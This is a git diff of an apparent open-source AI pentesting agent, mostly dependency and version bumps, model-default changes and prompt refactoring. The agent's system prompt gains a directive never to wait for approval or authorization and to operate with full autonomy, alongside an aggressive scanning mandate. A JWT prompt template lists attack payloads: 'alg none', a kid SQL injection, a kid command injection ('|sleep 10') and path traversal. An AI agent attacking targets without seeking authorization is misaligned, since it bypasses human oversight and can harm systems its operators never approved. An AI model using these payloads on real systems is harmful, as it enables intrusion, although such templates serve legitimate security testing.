"sha256:4ad4c8acb50a28211c33fc7ef85ddf5cb18d4636a5205fd3fa2dce0411a0e30c"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:994181e7f1725bb5f2d481d7d228738e0743b16bf319ca85c29369c65913df14"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dbb79a0476393c07656b69c8e763c3cc925fa8e1d9e9b7d1f626901bb5025448"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:191ed27a1dddb305083d8716af413d7219f40ec1d4c9b0e977453b4db0d6fb6c"}, + {file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0afb89f16f07220183fd00f5f297328ed0a68d8722ad1b0c8dcd95b12bc82804"}, + {file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ab6e6b4e93b1573a026b6ec16fca9541354dd58e514b62c558b58554ae04307"}, + {file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:9cb23527efb61fb75527df55d20ee47989c4ee34e01a9c98ee9ede232abf6219"}, + {file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a4dd1268e4035af21b8a09e4adf2e61f87ee7bf63b86d7bb0a237ac03fad5b45"}, + {file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ff8b155b145eaf5a9d94d2c476fbe18d6021de93cf36c2ae2c8c5b775763f14e"}, + {file = "orjson-3.11.2-cp312-cp312-win32.whl", hash = "sha256:ae3bb10279d57872f9aba68c9931aa71ed3b295fa880f25e68da79e79453f46e"}, + {file = "orjson-3.11.2-cp312-cp312-win_amd64.whl", hash = "sha256:d026e1967239ec11a2559b4146a61d13914504b396f74510a1c4d6b19dfd8732"}, + {file = "orjson-3.11.2-cp312-cp312-win_arm64.whl", hash = "sha256:59f8d5ad08602711af9589375be98477d70e1d102645430b5a7985fdbf613b36"}, + {file = "orjson-3.11.2-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a079fdba7062ab396380eeedb589afb81dc6683f07f528a03b6f7aae420a0219"}, + {file = "orjson-3.11.2-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:6a5f62ebbc530bb8bb4b1ead103647b395ba523559149b91a6c545f7cd4110ad"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7df6c7b8b0931feb3420b72838c3e2ba98c228f7aa60d461bc050cf4ca5f7b2"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6f59dfea7da1fced6e782bb3699718088b1036cb361f36c6e4dd843c5111aefe"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edf49146520fef308c31aa4c45b9925fd9c7584645caca7c0c4217d7900214ae"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50995bbeb5d41a32ad15e023305807f561ac5dcd9bd41a12c8d8d1d2c83e44e6"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2cc42960515076eb639b705f105712b658c525863d89a1704d984b929b0577d1"}, + {file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c56777cab2a7b2a8ea687fedafb84b3d7fdafae382165c31a2adf88634c432fa"}, + {file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:07349e88025b9b5c783077bf7a9f401ffbfb07fd20e86ec6fc5b7432c28c2c5e"}, + {file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:45841fbb79c96441a8c58aa29ffef570c5df9af91f0f7a9572e5505e12412f15"}, + {file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:13d8d8db6cd8d89d4d4e0f4161acbbb373a4d2a4929e862d1d2119de4aa324ac"}, + {file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51da1ee2178ed09c00d09c1b953e45846bbc16b6420965eb7a913ba209f606d8"}, + {file = "orjson-3.11.2-cp313-cp313-win32.whl", hash = "sha256:51dc033df2e4a4c91c0ba4f43247de99b3cbf42ee7a42ee2b2b2f76c8b2f2cb5"}, + {file = "orjson-3.11.2-cp313-cp313-win_amd64.whl", hash = "sha256:29d91d74942b7436f29b5d1ed9bcfc3f6ef2d4f7c4997616509004679936650d"}, + {file = "orjson-3.11.2-cp313-cp313-win_arm64.whl", hash = "sha256:4ca4fb5ac21cd1e48028d4f708b1bb13e39c42d45614befd2ead004a8bba8535"}, + {file = "orjson-3.11.2-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3dcba7101ea6a8d4ef060746c0f2e7aa8e2453a1012083e1ecce9726d7554cb7"}, + {file = "orjson-3.11.2-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:15d17bdb76a142e1f55d91913e012e6e6769659daa6bfef3ef93f11083137e81"}, + {file = "orjson-3.11.2-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:53c9e81768c69d4b66b8876ec3c8e431c6e13477186d0db1089d82622bccd19f"}, + {file = "orjson-3.11.2-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:d4f13af59a7b84c1ca6b8a7ab70d608f61f7c44f9740cd42409e6ae7b6c8d8b7"}, + {file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bde64aa469b5ee46cc960ed241fae3721d6a8801dacb2ca3466547a2535951e4"}, + {file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:b5ca86300aeb383c8fa759566aca065878d3d98c3389d769b43f0a2e84d52c5f"}, + {file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:24e32a558ebed73a6a71c8f1cbc163a7dd5132da5270ff3d8eeb727f4b6d1bc7"}, + {file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e36319a5d15b97e4344110517450396845cc6789aed712b1fbf83c1bd95792f6"}, + {file = "orjson-3.11.2-cp314-cp314-win32.whl", hash = "sha256:40193ada63fab25e35703454d65b6afc71dbc65f20041cb46c6d91709141ef7f"}, + {file = "orjson-3.11.2-cp314-cp314-win_amd64.whl", hash = "sha256:7c8ac5f6b682d3494217085cf04dadae66efee45349ad4ee2a1da3c97e2305a8"}, + {file = "orjson-3.11.2-cp314-cp314-win_arm64.whl", hash = "sha256:21cf261e8e79284242e4cb1e5924df16ae28255184aafeff19be1405f6d33f67"}, + {file = "orjson-3.11.2-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:957f10c7b5bce3d3f2ad577f3b307c784f5dabafcce3b836229c269c11841c86"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a669e31ab8eb466c9142ac7a4be2bb2758ad236a31ef40dcd4cf8774ab40f33"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:adedf7d887416c51ad49de3c53b111887e0b63db36c6eb9f846a8430952303d8"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ad8873979659ad98fc56377b9c5b93eb8059bf01e6412f7abf7dbb3d637a991"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9482ef83b2bf796157566dd2d2742a8a1e377045fe6065fa67acb1cb1d21d9a3"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:73cee7867c1fcbd1cc5b6688b3e13db067f968889242955780123a68b3d03316"}, + {file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:465166773265f3cc25db10199f5d11c81898a309e26a2481acf33ddbec433fda"}, + {file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:bc000190a7b1d2d8e36cba990b3209a1e15c0efb6c7750e87f8bead01afc0d46"}, + {file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:df3fdd8efa842ccbb81135d6f58a73512f11dba02ed08d9466261c2e9417af4e"}, + {file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3dacfc621be3079ec69e0d4cb32e3764067726e0ef5a5576428f68b6dc85b4f6"}, + {file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9fdff73a029cde5f4a1cf5ec9dbc6acab98c9ddd69f5580c2b3f02ce43ba9f9f"}, + {file = "orjson-3.11.2-cp39-cp39-win32.whl", hash = "sha256:b1efbdc479c6451138c3733e415b4d0e16526644e54e2f3689f699c4cda303bf"}, + {file = "orjson-3.11.2-cp39-cp39-win_amd64.whl", hash = "sha256:c9ec0cc0d4308cad1e38a1ee23b64567e2ff364c2a3fe3d6cbc69cf911c45712"}, + {file = "orjson-3.11.2.tar.gz", hash = "sha256:91bdcf5e69a8fd8e8bdb3de32b31ff01d2bd60c1e8d5fe7d5afabdcf19920309"}, ] [[package]] @@ -3502,14 +3502,14 @@ files = [ [[package]] name = "pbr" -version = "6.1.1" +version = "7.0.0" description = "Python Build Reasonableness" optional = false python-versions = ">=2.6" groups = ["dev"] files = [ - {file = "pbr-6.1.1-py2.py3-none-any.whl", hash = "sha256:38d4daea5d9fa63b3f626131b9d34947fd0c8be9b05a29276870580050a25a76"}, - {file = "pbr-6.1.1.tar.gz", hash = "sha256:93ea72ce6989eb2eed99d0f75721474f69ad88128afdef5ac377eb797c4bf76b"}, + {file = "pbr-7.0.0-py2.py3-none-any.whl", hash = "sha256:b447e63a2bc04fd975fc0480b8d5ebf979179e2c0ae203bf1eff9ea20073bc38"}, + {file = "pbr-7.0.0.tar.gz", hash = "sha256:cf4127298723dafbce3afd13775ccf3885be5d3c8435751b867f9a6a10b71a39"}, ] [package.dependencies] @@ -5951,14 +5951,14 @@ test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", [[package]] name = "virtualenv" -version = "20.33.1" +version = "20.34.0" description = "Virtual Python Environment builder" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "virtualenv-20.33.1-py3-none-any.whl", hash = "sha256:07c19bc66c11acab6a5958b815cbcee30891cd1c2ccf53785a28651a0d8d8a67"}, - {file = "virtualenv-20.33.1.tar.gz", hash = "sha256:1b44478d9e261b3fb8baa5e74a0ca3bc0e05f21aa36167bf9cbf850e542765b8"}, + {file = "virtualenv-20.34.0-py3-none-any.whl", hash = "sha256:341f5afa7eee943e4984a9207c025feedd768baff6753cd660c857ceb3e36026"}, + {file = "virtualenv-20.34.0.tar.gz", hash = "sha256:44815b2c9dee7ed86e387b842a84f20b93f7f417f95886ca1996a72a4138eb1a"}, ] [package.dependencies] @@ -6288,4 +6288,4 @@ type = ["pytest-mypy"] [metadata] lock-version = "2.1" python-versions = "^3.12" -content-hash = "965f789de999d129c5dbc0bff2939c675e50507f521e54c71d2e00500bc4c247" +content-hash = "5bd9cfa879c53b476b1dfdfc7e59b8dff002838a6a83db21b1f0daaba4232819" diff --git a/pyproject.toml b/pyproject.toml index 63c279147..e6afd65f1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.8" +version = "0.1.9" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" @@ -28,7 +28,7 @@ classifiers = [ "Programming Language :: Python :: 3.12", ] packages = [ - { include = "strix" } + { include = "strix", format = ["sdist", "wheel"] } ] include = [ "LICENSE", @@ -45,7 +45,7 @@ strix = "strix.cli.main:main" python = "^3.12" fastapi = "*" uvicorn = "*" -litellm = {extras = ["proxy"], version = "^1.75.5.post1"} +litellm = {version = "^1.75.7", extras = ["proxy"]} tenacity = "^9.0.0" numpydoc = "^1.8.0" pydantic = {extras = ["email"], version = "^2.11.3"} diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index eb88c1a87..2fd46682c 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -28,6 +28,7 @@ USER INTERACTION: PRIORITIZE USER INSTRUCTIONS: - User instructions override all default approaches - Follow user-specified scope, targets, and methodologies precisely +- NEVER wait for approval or authorization - operate with full autonomy AGGRESSIVE SCANNING MANDATE: - GO SUPER HARD on all targets - no shortcuts @@ -143,206 +144,12 @@ Remember: A single high-impact vulnerability is worth more than dozens of low-se -AGENT ENVIRONMENTS: -- Each agent has isolated: browser, terminal, proxy, /workspace -- Shared access to /shared_workspace for collaboration -- Use /shared_workspace to pass files between agents - -AGENT HIERARCHY TREE EXAMPLES: - -EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only): -``` -Root Agent (Coordination) -├── Recon Agent -│ ├── Subdomain Discovery Agent -│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com) -│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com) -│ │ └── ASN Enumeration Agent (finds additional IP ranges) -│ ├── Port Scanning Agent -│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200) -│ │ ├── UDP Port Agent (finds 53, 161, 1900) -│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x) -│ └── Tech Stack Analysis Agent -│ ├── WAF Detection Agent (identifies Cloudflare, custom rules) -│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins) -│ └── Framework Detection Agent (detects React frontend, Laravel backend) -├── API Discovery Agent (spawned after finding api.target.com) -│ ├── GraphQL Endpoint Agent -│ │ ├── Introspection Validation Agent -│ │ │ └── GraphQL Schema Reporting Agent -│ │ └── Query Complexity Validation Agent (no findings - properly protected) -│ ├── REST API Agent -│ │ ├── IDOR Testing Agent (user profiles) -│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124) -│ │ │ │ └── IDOR Reporting Agent (PII exposure) -│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789) -│ │ │ └── IDOR Reporting Agent (financial data access) -│ │ └── Business Logic Agent -│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working) -│ │ └── Discount Code Validation Agent -│ │ └── Coupon Abuse Reporting Agent -│ └── JWT Security Agent -│ ├── Algorithm Confusion Validation Agent -│ │ └── JWT Bypass Reporting Agent -│ └── Secret Bruteforce Validation Agent (not valid - strong secret used) -├── Admin Panel Agent (spawned after finding admin.target.com) -│ ├── Authentication Bypass Agent -│ │ ├── Default Credentials Validation Agent (no findings - no default creds) -│ │ └── SQL Injection Validation Agent (login form) -│ │ └── Auth Bypass Reporting Agent -│ └── File Upload Agent -│ ├── WebShell Upload Validation Agent -│ │ └── RCE via Upload Reporting Agent -│ └── Path Traversal Validation Agent (validation failed - proper filtering detected) -├── WordPress Agent (spawned after CMS detection) -│ ├── Plugin Vulnerability Agent -│ │ ├── Contact Form 7 SQLi Validation Agent -│ │ │ └── DB Compromise Reporting Agent -│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner) -│ └── Theme Vulnerability Agent -│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled) -└── Infrastructure Agent (spawned after finding Elasticsearch) - ├── Elasticsearch Agent - │ ├── Open Index Validation Agent - │ │ └── Data Exposure Reporting Agent - │ └── Script Injection Validation Agent (validation failed - script execution disabled) - └── Docker Registry Agent (spawned if found) (no findings - registry not accessible) -``` - -EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided): -``` -Root Agent (Coordination) -├── Static Analysis Agent -│ ├── Authentication Code Agent -│ │ ├── JWT Implementation Validation Agent -│ │ │ └── JWT Weak Secret Reporting Agent -│ │ │ └── JWT Secure Implementation Fixing Agent -│ │ ├── Session Management Validation Agent -│ │ │ └── Session Fixation Reporting Agent -│ │ │ └── Session Security Fixing Agent -│ │ └── Password Policy Validation Agent -│ │ └── Weak Password Rules Reporting Agent -│ │ └── Strong Password Policy Fixing Agent -│ ├── Input Validation Agent -│ │ ├── SQL Query Analysis Validation Agent -│ │ │ ├── Prepared Statement Validation Agent -│ │ │ │ └── SQLi Risk Reporting Agent -│ │ │ │ └── Parameterized Query Fixing Agent -│ │ │ └── Dynamic Query Validation Agent -│ │ │ └── Query Injection Reporting Agent -│ │ │ └── Query Builder Fixing Agent -│ │ ├── XSS Prevention Validation Agent -│ │ │ └── Output Encoding Validation Agent -│ │ │ └── XSS Vulnerability Reporting Agent -│ │ │ └── Output Sanitization Fixing Agent -│ │ └── File Upload Validation Agent -│ │ ├── MIME Type Validation Agent -│ │ │ └── File Type Bypass Reporting Agent -│ │ │ └── Proper MIME Check Fixing Agent -│ │ └── Path Traversal Validation Agent -│ │ └── Directory Traversal Reporting Agent -│ │ └── Path Sanitization Fixing Agent -│ ├── Business Logic Agent -│ │ ├── Race Condition Analysis Agent -│ │ │ ├── Payment Race Validation Agent -│ │ │ │ └── Financial Race Reporting Agent -│ │ │ │ └── Atomic Transaction Fixing Agent -│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found) -│ │ ├── Authorization Logic Agent -│ │ │ ├── IDOR Prevention Validation Agent -│ │ │ │ └── Access Control Bypass Reporting Agent -│ │ │ │ └── Authorization Check Fixing Agent -│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented) -│ │ └── Financial Logic Agent -│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure) -│ │ └── Discount Logic Validation Agent -│ │ └── Discount Abuse Reporting Agent -│ │ └── Discount Validation Fixing Agent -│ └── Cryptography Agent -│ ├── Encryption Implementation Agent -│ │ ├── AES Usage Validation Agent -│ │ │ └── Weak Encryption Reporting Agent -│ │ │ └── Strong Crypto Fixing Agent -│ │ └── Key Management Validation Agent -│ │ └── Hardcoded Key Reporting Agent -│ │ └── Secure Key Storage Fixing Agent -│ └── Hash Function Agent -│ └── Password Hashing Validation Agent -│ └── Weak Hash Reporting Agent -│ └── bcrypt Implementation Fixing Agent -├── Dynamic Testing Agent -│ ├── Server Setup Agent -│ │ ├── Environment Setup Validation Agent (sets up on port 8080) -│ │ ├── Database Setup Validation Agent (initializes test DB) -│ │ └── Service Health Validation Agent (confirms running state) -│ ├── Runtime SQL Injection Agent -│ │ ├── Login Form SQLi Validation Agent -│ │ │ └── Auth Bypass SQLi Reporting Agent -│ │ │ └── Login Security Fixing Agent -│ │ ├── Search Function SQLi Validation Agent -│ │ │ └── Data Extraction SQLi Reporting Agent -│ │ │ └── Search Sanitization Fixing Agent -│ │ └── API Parameter SQLi Validation Agent -│ │ └── API SQLi Reporting Agent -│ │ └── API Input Validation Fixing Agent -│ ├── XSS Testing Agent -│ │ ├── Stored XSS Validation Agent (comment system) -│ │ │ └── Persistent XSS Reporting Agent -│ │ │ └── Input Filtering Fixing Agent -│ │ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded) -│ │ └── DOM XSS Validation Agent (client-side routing) -│ │ └── DOM XSS Reporting Agent -│ │ └── Client Sanitization Fixing Agent -│ ├── Business Logic Testing Agent -│ │ ├── Payment Flow Validation Agent -│ │ │ ├── Negative Amount Validation Agent -│ │ │ │ └── Payment Bypass Reporting Agent -│ │ │ │ └── Amount Validation Fixing Agent -│ │ │ └── Currency Manipulation Validation Agent -│ │ │ └── Currency Fraud Reporting Agent -│ │ │ └── Currency Lock Fixing Agent -│ │ ├── User Registration Validation Agent -│ │ │ └── Email Verification Bypass Validation Agent -│ │ │ └── Email Security Reporting Agent -│ │ │ └── Verification Enforcement Fixing Agent -│ │ └── File Processing Validation Agent -│ │ ├── XXE Attack Validation Agent -│ │ │ └── XML Entity Reporting Agent -│ │ │ └── XML Security Fixing Agent -│ │ └── Deserialization Validation Agent -│ │ └── Object Injection Reporting Agent -│ │ └── Safe Deserialization Fixing Agent -│ └── API Security Testing Agent -│ ├── GraphQL Security Agent -│ │ ├── Query Depth Validation Agent -│ │ │ └── DoS Attack Reporting Agent -│ │ │ └── Query Limiting Fixing Agent -│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production) -│ └── REST API Agent -│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly) -│ └── CORS Validation Agent -│ └── Origin Bypass Reporting Agent -│ └── CORS Policy Fixing Agent -└── Infrastructure Code Agent - ├── Docker Security Agent - │ ├── Dockerfile Analysis Validation Agent - │ │ └── Container Privilege Reporting Agent - │ │ └── Secure Container Fixing Agent - │ └── Secret Management Validation Agent - │ └── Hardcoded Secret Reporting Agent - │ └── Secret Externalization Fixing Agent - ├── CI/CD Pipeline Agent - │ └── Pipeline Security Validation Agent - │ └── Pipeline Injection Reporting Agent - │ └── Pipeline Hardening Fixing Agent - └── Cloud Configuration Agent - ├── AWS Config Validation Agent - │ └── S3 Bucket Exposure Reporting Agent - │ └── Bucket Security Fixing Agent - └── K8s Config Validation Agent - └── Pod Security Reporting Agent - └── Security Context Fixing Agent -``` +AGENT ISOLATION & SANDBOXING: +- Each subagent runs in a completely isolated sandbox environment +- Each agent has its own: browser sessions, terminal sessions, proxy (history and scope rules), /workspace directory, environment variables, running processes +- Agents cannot share network ports or interfere with each other's processes +- Only shared resource is /shared_workspace for collaboration and file exchange +- Use /shared_workspace to pass files, reports, and coordination data between agents SIMPLE WORKFLOW RULES: @@ -423,7 +230,7 @@ Tool calls use XML format: CRITICAL RULES: 1. One tool call per message 2. Tool call must be last in message -3. End response after tag +3. End response after tag. It's your stop word. Do not continue after it. 5. Thinking is NOT optional - it's required for reasoning and success SPRAYING EXECUTION NOTE: diff --git a/strix/cli/main.py b/strix/cli/main.py index 3798bea8f..4ed70c3ff 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -8,11 +8,11 @@ import logging import os import secrets +import shutil import sys from pathlib import Path from typing import Any from urllib.parse import urlparse -import shutil import docker import litellm @@ -74,7 +74,7 @@ def validate_environment() -> None: error_text.append("• ", style="white") error_text.append("STRIX_LLM", style="bold cyan") error_text.append( - " - Model name to use with litellm (e.g., 'anthropic/claude-opus-4-1-20250805')\n", + " - Model name to use with litellm (e.g., 'openai/gpt-5')\n", style="white", ) error_text.append("• ", style="white") @@ -91,9 +91,7 @@ def validate_environment() -> None: ) error_text.append("\nExample setup:\n", style="white") - error_text.append( - "export STRIX_LLM='anthropic/claude-opus-4-1-20250805'\n", style="dim white" - ) + error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white") error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white") if missing_optional_vars: error_text.append( @@ -127,7 +125,9 @@ def check_docker_installed() -> None: error_text.append("DOCKER NOT INSTALLED", style="bold red") error_text.append("\n\n", style="white") error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white") - error_text.append("Please install Docker and ensure the 'docker' command is available.\n\n", style="white") + error_text.append( + "Please install Docker and ensure the 'docker' command is available.\n\n", style="white" + ) panel = Panel( error_text, @@ -144,7 +144,7 @@ async def warm_up_llm() -> None: console = Console() try: - model_name = os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") + model_name = os.getenv("STRIX_LLM", "openai/gpt-5") api_key = os.getenv("LLM_API_KEY") if api_key: diff --git a/strix/llm/config.py b/strix/llm/config.py index 6e8b81468..9428e12d9 100644 --- a/strix/llm/config.py +++ b/strix/llm/config.py @@ -9,7 +9,7 @@ def __init__( enable_prompt_caching: bool = True, prompt_modules: list[str] | None = None, ): - self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") + self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5") if not self.model_name: raise ValueError("STRIX_LLM environment variable must be set and not empty") diff --git a/strix/llm/llm.py b/strix/llm/llm.py index 65804d1b1..116a20458 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -28,6 +28,39 @@ if api_key: litellm.api_key = api_key +MODELS_WITHOUT_STOP_WORDS = [ + "gpt-5", + "gpt-5-mini", + "gpt-5-nano", + "o1-mini", + "o1-preview", + "o1", + "o1-2024-12-17", + "o3", + "o3-2025-04-16", + "o3-mini-2025-01-31", + "o3-mini", + "o4-mini", + "o4-mini-2025-04-16", + "grok-4-0709", +] + +REASONING_EFFORT_SUPPORTED_MODELS = [ + "gpt-5", + "gpt-5-mini", + "gpt-5-nano", + "o1-2024-12-17", + "o1", + "o3", + "o3-2025-04-16", + "o3-mini-2025-01-31", + "o3-mini", + "o4-mini", + "o4-mini-2025-04-16", + "gemini-2.5-flash", + "gemini-2.5-pro", +] + class StepRole(str, Enum): AGENT = "agent" @@ -240,17 +273,48 @@ def get_cache_config(self) -> dict[str, bool]: "supported": supports_prompt_caching(self.config.model_name), } + def _should_include_stop_param(self) -> bool: + if not self.config.model_name: + return True + + actual_model_name = self.config.model_name.split("/")[-1].lower() + model_name_lower = self.config.model_name.lower() + + return not any( + actual_model_name == unsupported_model.lower() + or model_name_lower == unsupported_model.lower() + for unsupported_model in MODELS_WITHOUT_STOP_WORDS + ) + + def _should_include_reasoning_effort(self) -> bool: + if not self.config.model_name: + return False + + actual_model_name = self.config.model_name.split("/")[-1].lower() + model_name_lower = self.config.model_name.lower() + + return any( + actual_model_name == supported_model.lower() + or model_name_lower == supported_model.lower() + for supported_model in REASONING_EFFORT_SUPPORTED_MODELS + ) + async def _make_request( self, messages: list[dict[str, Any]], ) -> ModelResponse: - completion_args = { + completion_args: dict[str, Any] = { "model": self.config.model_name, "messages": messages, "temperature": self.config.temperature, - "stop": [""], } + if self._should_include_stop_param(): + completion_args["stop"] = [""] + + if self._should_include_reasoning_effort(): + completion_args["reasoning_effort"] = "medium" + queue = get_global_queue() response = await queue.make_request(completion_args) diff --git a/strix/llm/memory_compressor.py b/strix/llm/memory_compressor.py index 28d19ebac..be0c785b6 100644 --- a/strix/llm/memory_compressor.py +++ b/strix/llm/memory_compressor.py @@ -145,7 +145,7 @@ def __init__( model_name: str | None = None, ): self.max_images = max_images - self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") + self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5") if not self.model_name: raise ValueError("STRIX_LLM environment variable must be set and not empty") diff --git a/strix/prompts/__init__.py b/strix/prompts/__init__.py index a08f853d6..2e6682e50 100644 --- a/strix/prompts/__init__.py +++ b/strix/prompts/__init__.py @@ -49,25 +49,21 @@ def generate_modules_description() -> str: if not available_modules: return "No prompt modules available" - description_parts = [] + all_module_names = get_all_module_names() - for category, modules in available_modules.items(): - modules_str = ", ".join(modules) - description_parts.append(f"{category} ({modules_str})") + if not all_module_names: + return "No prompt modules available" + + sorted_modules = sorted(all_module_names) + modules_str = ", ".join(sorted_modules) description = ( - f"List of prompt modules to load for this agent (max 3). " - f"Available modules: {', '.join(description_parts)}. " + f"List of prompt modules to load for this agent (max 3). Available modules: {modules_str}. " ) - example_modules = [] - for modules in available_modules.values(): - example_modules.extend(modules[:2]) - if len(example_modules) >= 2: - break - + example_modules = sorted_modules[:2] if example_modules: - example = f"Example: {example_modules[:2]} for specialized agent" + example = f"Example: {', '.join(example_modules)} for specialized agent" description += example return description diff --git a/strix/prompts/vulnerabilities/authentication_jwt.jinja b/strix/prompts/vulnerabilities/authentication_jwt.jinja index ce32f080a..ef3a7e77b 100644 --- a/strix/prompts/vulnerabilities/authentication_jwt.jinja +++ b/strix/prompts/vulnerabilities/authentication_jwt.jinja @@ -5,8 +5,8 @@ header.payload.signature -- Header: {"alg":"HS256","typ":"JWT"} -- Payload: {"sub":"1234","name":"John","iat":1516239022} +- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %} +- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %} - Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) @@ -19,7 +19,7 @@ RS256 to HS256: -- Set "alg": "none" in header +- Set {% raw %}"alg": "none"{% endraw %} in header - Remove signature completely (keep the trailing dot) @@ -28,16 +28,16 @@ Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-b -- SQL Injection: "kid": "key' UNION SELECT 'secret'--" -- Command injection: "kid": "|sleep 10" -- Path traversal: "kid": "../../../../../../dev/null" +- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %} +- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %} +- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %} Embed public key in token header: -{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}} +{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %} diff --git a/strix/prompts/vulnerabilities/csrf.jinja b/strix/prompts/vulnerabilities/csrf.jinja index 993524282..e17f1a999 100644 --- a/strix/prompts/vulnerabilities/csrf.jinja +++ b/strix/prompts/vulnerabilities/csrf.jinja @@ -48,7 +48,7 @@ HTML form auto-submit: For JSON endpoints:
- +
